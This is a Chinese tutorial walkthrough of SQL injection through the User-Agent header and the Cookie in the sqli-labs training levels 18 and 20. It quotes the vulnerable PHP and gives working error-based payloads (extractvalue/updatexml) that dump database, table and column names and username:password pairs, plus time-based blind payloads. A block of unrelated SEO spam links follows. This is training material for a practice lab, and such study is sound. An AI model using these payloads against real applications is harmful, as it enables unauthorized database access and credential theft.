当前位置: 首页 > wzjs >正文

徐州设计网站苹果aso优化

徐州设计网站,苹果aso优化,建筑网站转发,做网站注册页面uagent注入 1、漏洞成因: 当Web应用程序将用户提供的User-Agent值未经处理直接拼接到SQL查询语句时,攻击者可以通过构造恶意User-Agent值闭合原有SQL语句并注入任意SQL代码。 2、以less-18为例: 相比前几关,第18关对于uname和pa…

uagent注入

1、漏洞成因:

当Web应用程序将用户提供的User-Agent值未经处理直接拼接到SQL查询语句时,攻击者可以通过构造恶意User-Agent值闭合原有SQL语句并注入任意SQL代码。

2、以less-18为例:

相比前几关,第18关对于uname和passwd的输入都进行了过滤源代码如下:

  $uname = check_input($con1, $_POST['uname']);
​$passwd = check_input($con1, $_POST['passwd']);

对于输入的单引号、双引号、反斜杠等都进行转义,无法进行闭合

所以下面的查询源代码就不能是注入点

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

而在下面源代码观察发现,有一个insert语句,也有报错的前端回显、对于uagent

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
​
mysqli_query($con1, $insert);
​
echo 'Your User Agent is: ' .$uagent;
echo "</font>";

下面用burpsuite抓包测试注入点(要传入正确的输入才可以走到uagent注入点)

抓到包后进入Request模块对User-Agent:字段添加一个单引号,然后Response,会看到mysql报错回显,证明可以尝试报错注入

通过在上面的源码可以分析出uagent字段后面还有$IP和 $uname两个字段,所以进行带入字段和注释看看回显

在后加上 ',1,1)# 其Response并没有报错的回显的正常回显

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 ',1,1)#

接下来进一步可以替换最后一个1来输入报错注入的语句

尝试报错注入数据库名:

',1,extractvalue(1,concat(0x7e,database())))# ​

',1,updatexml(1,concat(0x7e,(select database())),1))#

尝试报错注入表名:

',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1))))#

',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1))#

尝试报错注入列名:

',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))))#

',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1))#

尝试报错注入数据信息:

',1,extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users))))# ​

',1,updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1))#

cookie、

以less-20为例:

同样和第18关一样 对于uname和passwd的输入都进行了过滤源代码如下:

$uname = check_input($con1, $_POST['uname']);​   $passwd = check_input($con1, $_POST['passwd']);

而对于Request头部也没有的回显和INSERT INTO语句

所以http头部字段没有注入点了

而往下看看源代码会发现有个可疑的注入点:

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
​$result=mysqli_query($con1, $sql);
​if (!$result)
​{
​die('Issue with your mysql: ' . mysqli_error($con1));
​}

用burpsuite抓包(刷新已经登录界面)

查看cookie字段

Cookie: uname=Dumb

这里要用到插件HackBar

选择cookie模块输入内容:

http://192.168.44.148:8081/Less-20/index.php ​

uname=Dumb

执行后发现正常回显

测试注入点

uname=Dumb' 加上单引号执行后发现有报错信息:Dumb附近的报错

使用#注入 尝试闭合

uname=Dumb'# 执行后正常回显说明注入点就是这里了!

这里可以尝试报错注入和盲注

报错注入尝试:

uname=Dumb' and updatexml(1,concat(0x7e,(select database())),1)#

时间盲注尝试:

uname=Dumb' and sleep(3)# ​ uname=Dumb' and if(ascii(substring((select database()),1,1))=115,sleep(3),0)#

http://www.dtcms.com/wzjs/198598.html

相关文章:

  • 怎么做传奇私服广告网站建网站需要哪些步骤
  • 携程网建设网站的理由域名注册查询工具
  • 医疗网站建设讯息刷百度指数
  • 公司做网站需要提供什么企业营销管理
  • 现在流行做网站吗百度导航最新版本下载安装
  • 做flash的网站全网自媒体平台
  • 做网站收费 优帮云免费学生网页制作成品
  • 广汉市 建设局网站小红书sem是什么意思
  • 循化县wap网站建设公司优化系统软件
  • 武汉网站制作 app开发网络推广运营途径
  • 广安网站建设超八成搜索网站存在信息泄露问题
  • 古风网站建设今日军事新闻视频
  • 有哪些网站做明星周边网站制作工具
  • 泰兴做网站的公司百度seo优化包含哪几项
  • 广东如何做网站设计站长工具ip地址
  • 做网站策划书吧市场营销经典案例
  • 用科讯cms做网站的步骤网络销售靠谱吗
  • 手机网站价格百度seo推广软件
  • 网站备案 改名长沙seo外包优化
  • 厦门做网站多360站长平台
  • php做网站还是linuxuv推广平台
  • 做餐厅logo用什么软件网站seo搜索引擎优化师
  • 长春站建筑有什么引流客源的软件
  • b2c商城网站的价格是多少什么叫营销
  • 平板做网站服务器百度推广联系方式
  • 汽车网页模板seo推广百度百科
  • 做翻译 英文网站seo专员是指什么意思
  • iis如何做同时运行两个网站80端口百度竞价排名公式
  • 旅游网站的功能有哪些营销网课
  • 河南省建设厅网站公示公告宁波seo网络推广推荐